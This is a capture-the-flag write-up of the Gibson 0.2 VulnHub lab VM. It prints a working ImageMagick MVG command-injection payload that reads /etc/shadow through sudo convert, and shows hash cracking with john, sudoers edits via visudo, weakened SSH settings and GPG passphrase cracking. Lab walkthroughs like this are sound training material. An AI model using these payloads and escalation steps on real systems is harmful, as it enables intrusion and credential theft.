Gibson 0.2 Writeup

Today, we are doing Gibson 0.2 vulnerable vm.

I start as usually, by nmaping the target

[email protected]:~# nmap -A -T4 -sV -p- -v

Starting Nmap 7.12 ( ) at 2016-05-18 17:15 EEST
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:15
Completed NSE at 17:15, 0.00s elapsed
Initiating NSE at 17:15
Completed NSE at 17:15, 0.00s elapsed
Initiating ARP Ping Scan at 17:15
Scanning [1 port]
Completed ARP Ping Scan at 17:15, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:15
Completed Parallel DNS resolution of 1 host. at 17:15, 0.07s elapsed
Initiating SYN Stealth Scan at 17:15
Scanning [65535 ports]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Completed SYN Stealth Scan at 17:15, 3.13s elapsed (65535 total ports)
Initiating Service scan at 17:15
Scanning 2 services on
Completed Service scan at 17:15, 6.05s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
Initiating NSE at 17:15
Completed NSE at 17:15, 0.64s elapsed
Initiating NSE at 17:15
Completed NSE at 17:15, 0.01s elapsed
Nmap scan report for
Host is up (0.00044s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fb:f6:d1:57:64:fa:38:66:2d:66:40:12:a4:2f:75:b4 (DSA)
|   2048 32:13:58:ae:32:b0:5d:b9:2a:9c:87:9c:ae:79:3b:2e (RSA)
|_  256 3f:dc:7d:94:2f:86:f1:83:41:db:8c:74:52:f0:49:43 (ECDSA)
80/tcp open  http    Apache httpd 2.4.7
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 273   2016-05-07 13:03  davinci.html
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /
MAC Address: 00:0C:29:89:BF:4C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 198.840 days (since Sun Nov  1 20:05:29 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.44 ms

NSE: Script Post-scanning.
Initiating NSE at 17:15
Completed NSE at 17:15, 0.00s elapsed
Initiating NSE at 17:15
Completed NSE at 17:15, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.29 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

Hm only SSH on port 22 and a web server on port 80, more specifically davinci.html.

I fire it up in a browser to see what it's about. I also used dirb to try and find any other directories but nothing of interest came up.

In davinci.html, there is nothing special other than a phrase about having to brute force something, but the source code reveals a nice comment.

<title>Gibson Mining Corporation</title>
<!-- Damn it Margo! Stop setting your password to "god" -->
<!-- at least try and use a different one of the 4 most -->
<!-- common ones! (eugene) -->
<h1> The answer you seek will be found by brute force</h1>

So, Margo usually set's her password to "god", that's interesting, perhaps that is the SSH login we are looking for at this point.

[email protected]:~# ssh [email protected]
Ubuntu 14.04.3 LTS
[email protected]'s password: 
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic x86_64)

 * Documentation:

  System information as of Wed May 18 18:11:42 BST 2016

  System load:  0.15              Processes:           180
  Usage of /:   82.2% of 1.85GB   Users logged in:     0
  Memory usage: 6%                IP address for eth0:
  Swap usage:   0%

  Graph this data and manage this system at:

[email protected]:~$

Indeed it is, so let's see who else has access on this box.

[email protected]:~$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
libvirt-qemu:x:106:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:107:111:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
duke:x:1000:1000:Duke Ellingson,,,:/home/duke:/bin/bash
colord:x:108:115:colord colour management daemon,,,:/var/lib/colord:/bin/false
eugene:x:1001:1001:Eugene Belford:/home/eugene:
margo:x:1002:1002:Margo Wallace:/home/margo:/bin/bash

There are 2 other users on this box. Users "eugene" and "duke". However we still know nothing about them. Let's see what kind of privileges margo has on the system.

[email protected]:~$ sudo -l
Matching Defaults entries for margo on gibson:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson:
    (ALL) NOPASSWD: /usr/bin/convert
[email protected]:~$ convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: OpenMP

So margo can run "convert" which is part of ImageMagic and as the hint we have been given states, images are magic. Let's see if there is some exploit here about that specific version that we can use.

I search exploit-db and come up with this beauty. This can be used to run commands as root  on the system. So how about we get its /etc/shadow and work our way from there?

To do so, I create the following exploit which I'll "convert" to an image.

[email protected]:~/gibson# cat cat_shadow.mvg 
push graphic-context
viewbox 0 0 640 480
fill 'url("|cat "/etc/shadow)'
pop graphic-context

Then I transfer the file in margo's home with scp since we have her password.

[email protected]:~/gibson# scp cat_shadow.mvg [email protected]:/home/margo
Ubuntu 14.04.3 LTS
[email protected]'s password: 

After that, all that is left, is to run convert with sudo as margo on the system.

[email protected]:~$ sudo convert cat_shadow.mvg out.png
convert.im6: unrecognized color `"|cat "/etc/shadow' @ warning/color.c/GetColorCompliance/947.
convert.im6: no decode delegate for this image format `/tmp/magick-ymkY2o4O' @ error/constitute.c/ReadImage/578.
convert.im6: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3158.

Then, I copy the output locally in a file called "shadow". I do the same for gibson's /etc/passwd in a file called "passwd" locally.

Next step is to unshadow the files and crack them with john.

[email protected]:~/gibson# unshadow passwd shadow > tocrack
[email protected]:~/gibson# john --fork=2 tocrack 
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Node numbers 1-2 of 2 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
secret           (eugene)
love             (duke)
god              (margo)

And that's it, we have the passwords for the other 2 users on the system. Since I'm logged in as margo, I switch user to eugene and see if I can get root with him.

[email protected]:~$ su eugene
[email protected]:/home/margo$ cd
[email protected]:~$ ls -l
total 12
-rwxrwxr-x 1 eugene eugene 8589 May  5 19:10 spin64
[email protected]:~$ sudo -l
Matching Defaults entries for eugene on gibson:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eugene may run the following commands on gibson:
    (ALL) NOPASSWD: /usr/bin/virt-manager
    (ALL : ALL) /usr/sbin/visudo

So we got an executable in eugene's home that does nothing important, however, eugene can run visudo. Using visudo I give full access on all three users of the system.

margo ALL=(ALL) ALL
eugene ALL=(ALL) ALL
duke ALL=(ALL) ALL

After that, it's all a matter of changing to root.

At this point, I am looking around for interesting files in the system, and I notice that there is some hardening at the end of /etc/ssh/sshd_config. I edit that in order to allow all users to log in with passwords so that I don't need keys, plus, I enable rootlogin and change the password for root to "r00ted".

## Tighten security after security incident
## root never gets to log in remotely
PermitRootLogin yes
## Eugene & Margo can SSH in, no-one else allowed
AllowUsers eugene margo duke root
## SSH keys only but margo can use a password
Match user margo
    PasswordAuthentication yes
Match user duke
    PasswordAuthentication yes
Match user eugene
    PasswordAuthentication yes
Match user root
    PasswordAuthentication yes
## End tighten security
[email protected]:~# service ssh restart
ssh stop/waiting
ssh start/running, process 2155
[email protected]:~# passwd root
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully

At this point, I am trying to find a way to push forward and locate the final flag. While browsing through the process I come accross something odd. Some of the output has been omitted due to its length.

[email protected]:~# ps -ef
root      1333     1  0 17:01 tty1     00:00:00 /sbin/getty -8 38400 tty1
libvirt+  1426     1  0 17:02 ?        00:00:00 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf
root      1429     2  0 17:02 ?        00:00:00 [kauditd]
libvirt+  1448     1  0 17:02 ?        00:00:26 /usr/bin/qemu-system-x86_64 -name ftpserv -S -machine pc-i440fx-trusty,accel=tcg,usb
root      1503     1  0 17:08 ?        00:00:00 sshd: margo [priv]  
root      1507     2  0 17:08 ?        00:00:01 [kworker/0:0]
margo     1552  1503  0 17:08 ?        00:00:00 sshd: [email protected]/1   
margo     1553  1552  0 17:08 pts/1    00:00:00 -bash
root      1607  1553  0 17:20 pts/1    00:00:00 su eugene
eugene    1608  1607  0 17:20 pts/1    00:00:00 bash
root      1622     2  0 17:22 ?        00:00:00 [kworker/u128:0]
root      1627  1608  0 17:25 pts/1    00:00:00 sudo su -
root      1628  1627  0 17:25 pts/1    00:00:00 su -
root      1629  1628  0 17:25 pts/1    00:00:00 -su
root      2155     1  0 17:37 ?        00:00:00 /usr/sbin/sshd -D
root      2191  1629  0 17:47 pts/1    00:00:00 ps -ef

So we've got qemu running, it's a vm inside the vm! The name of the nested virtual machine is ftpserv, so let's see where it is and try to mount it in order to take a closer look.

[email protected]:~# locate ftpserv
[email protected]:~# fdisk -l /var/lib/libvirt/images/ftpserv.img 

Disk /var/lib/libvirt/images/ftpserv.img: 536 MB, 536870912 bytes
16 heads, 63 sectors/track, 1040 cylinders, total 1048576 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

                              Device Boot      Start         End      Blocks   Id  System
/var/lib/libvirt/images/ftpserv.img1   *          63     1048319      524128+   e  W95 FAT16 (LBA)

So there is one partition, and it starts at sector 63 of the virtual disk. Also, the sector size is 512 bytes. In order to mount it, we attach it to a loopback device and mount it normally as any other disk.

[email protected]:~# losetup /dev/loop0 /var/lib/libvirt/images/ftpserv.img -o $((63 * 512))
[email protected]:~# mkdir /mnt/ftpserv
[email protected]:~# mount /dev/loop0 /mnt/ftpserv/
[email protected]:~# cd /mnt/ftpserv/
[email protected]:/mnt/ftpserv#

I am treating the new attached "disk" as any other and I'm looking around its contents. The contents of "GARBAGE" are the interesting ones here.

[email protected]:/mnt/ftpserv# ls -l GARBAGE/
total 856
-rwxr-xr-x 1 root root 123141 May  4 21:17 adminspo.jpg
-rwxr-xr-x 1 root root 737280 May 14 13:19 flag.img
-rwxr-xr-x 1 root root   1601 Jun 11  2002 jz_ug.ans

Another .img file. This time it's called flag.img so let's mount that too and see what's going on.

[email protected]:/mnt/ftpserv# fdisk -l GARBAGE/flag.img 

Disk GARBAGE/flag.img: 0 MB, 737280 bytes
255 heads, 63 sectors/track, 0 cylinders, total 1440 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Disk GARBAGE/flag.img doesn't contain a valid partition table
[email protected]:/mnt/ftpserv# losetup /dev/loop1 /mnt/ftpserv/GARBAGE/flag.img 
[email protected]:/mnt/ftpserv# mkdir /mnt/flag
[email protected]:/mnt/ftpserv# mount /dev/loop1 /mnt/flag/

Moving on into my newly created directory of a mounted image, and taking a look around I find many interesting files.

[email protected]:/mnt/ftpserv# cd /mnt/flag/
[email protected]:/mnt/flag# ls -alR
total 70
drwxr-xr-x 4 root root  1024 May 14 14:07 .
drwxr-xr-x 4 root root  4096 May 19 18:04 ..
-rwxrwxr-x 1 root root 21358 Nov 16  2011 davinci
-rw-r--r-- 1 root root 28030 Nov 16  2011 davinci.c
-rw-r--r-- 1 root root   159 May  5 19:56 hint.txt
drwx------ 2 root root 12288 May  5 19:39 lost+found
drwxr-xr-x 2 root root  1024 May  5 20:07 .trash

total 13
drwx------ 2 root root 12288 May  5 19:39 .
drwxr-xr-x 4 root root  1024 May 14 14:07 ..

total 319
drwxr-xr-x 2 root root   1024 May  5 20:07 .
drwxr-xr-x 4 root root   1024 May 14 14:07 ..
---x------ 1 root root    469 May 14 14:18 flag.txt.gpg
-rw-r--r-- 1 root root 320130 Sep  7  2015 LeithCentralStation.jpg

The most interesting ones of course are the hint, and the hidden inside the trash flag.txt.gpg. Since root login is enabled and I am the one who has set the password, I grab a copy of flag.txt.gpg locally.

[email protected]:~# scp [email protected]:/mnt/flag/.trash/flag.txt.gpg ./
Ubuntu 14.04.3 LTS
[email protected]'s password: 
flag.txt.gpg                                                                                      100%  469     0.5KB/s   00:00    
[email protected]:~# file flag.txt.gpg 
flag.txt.gpg: GPG symmetrically encrypted data (CAST5 cipher)

So we are dealing with a gpg symmetrically encrypted file. We will need a passphrase for that. Let's see what the hint is.

[email protected]:/mnt/flag# cat hint.txt and have
someone in common... Can you remember his
original nom de plume in 1988...?

Going through the casts of the two movies, the one in common is Jonny Lee Miller. By taking a closer look on the synopsis of the movie Hackers, we see that in 1988 his alias was Zero Cool.

Since "zerocool" doesn't decrypt the file, the passphrase we need must be some kind of transformation. Especially after Knightmare's tweet we get an idea that we are dealing with l33t. So let's create a wordlist for that out of zero cool, with all possible combinations of letters and l33tspeak.

For that I am using john and a combination of rules. We will use the standard ruleset first, and then KoreLogicRulesReplaceLetters followed by KoreLogicRulesL33t to get the desired wordlist. KoreLogic rules can be found here if not available by default.

After creating the first couple of lists, we will feed the stdout of the last list directly into PGPCrack-NG to perform the cracking of the file and get the passphrase.

My starting list "list1.txt" only contains the word "zerocool"

[email protected]:~# john --wordlist=list1.txt --rules --stdout > list2.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
49p 0:00:00:00 100.00% (2016-05-19 20:31) 490.0p/s Zerocooling
[email protected]:~# john --wordlist=list2.txt --rules=KoreLogicRulesReplaceLetters --stdout > list3.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
13086p 0:00:00:00 100.00% (2016-05-19 20:37) 46735p/s rerokooling
[email protected]:~# john --wordlist=list3.txt --rules=KoreLogicRulesL33t --stdout | ./PGPCrack-NG flag.txt.gpg 
Press 'q' or Ctrl-C to abort, almost any other key for status
30317p 0:00:00:12 0.67% (ETA: 21:09:22) 2489p/s zgrokoo13
142796p 0:00:01:11 1.53% (ETA: 21:57:07) 2009p/s Zerhkhhli
Found Password : Z3r0K00l

That's it! Now let's decrypt the file and get the flag.

[email protected]:~# gpg -d flag.txt.gpg 
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase
 _   _            _      _____ _             ____  _                  _   _
| | | | __ _  ___| | __ |_   _| |__   ___   |  _ \| | __ _ _ __   ___| |_| |
| |_| |/ _` |/ __| |/ /   | | | '_ \ / _ \  | |_) | |/ _` | '_ \ / _ \ __| |
|  _  | (_| | (__|   <    | | | | | |  __/  |  __/| | (_| | | | |  __/ |_|_|
|_| |_|\__,_|\___|_|\_\   |_| |_| |_|\___|  |_|   |_|\__,_|_| |_|\___|\__(_)

Should you not be standing in a 360 degree rotating payphone when reading
this flag...? B-)

Anyhow, congratulations once more on rooting this VM. This time things were
a bit esoteric, but I hope you enjoyed it all the same.

Shout-outs again to #vulnhub for hosting a great learning tool. A special
thanks goes to g0blin and GKNSB for testing, and to g0tM1lk for the offer
to host the CTF once more.
gpg: WARNING: message was not integrity protected

There we go! Got the flag finally.

All in all, a great ctf and a very imaginative one. Loved the Hacker's movie references.
Thanks a lot Knightmare and VulnHub for making it possible. Cheers!